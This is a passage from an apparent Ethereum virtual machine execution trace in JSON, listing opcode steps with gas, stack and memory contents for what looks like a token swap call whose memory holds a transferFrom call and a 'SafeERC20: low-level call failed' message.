0000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13310,"op":"SWAP1","gas":98680,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x3496","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13311,"op":"PUSH4","gas":98677,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x3496"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13316,"op":"AND","gas":98674,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x3496","0xffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13317,"op":"JUMP","gas":98671,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x3496"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13462,"op":"JUMPDEST","gas":98663,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13463,"op":"PUSH1","gas":98662,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13465,"op":"PUSH2","gas":98659,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13468,"op":"DUP5","gas":98656,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13469,"op":"DUP5","gas":98653,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13470,"op":"PUSH1","gas":98650,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13472,"op":"DUP6","gas":98647,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13473,"op":"PUSH2","gas":98644,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13476,"op":"JUMP","gas":98641,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x34ac"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f400000000000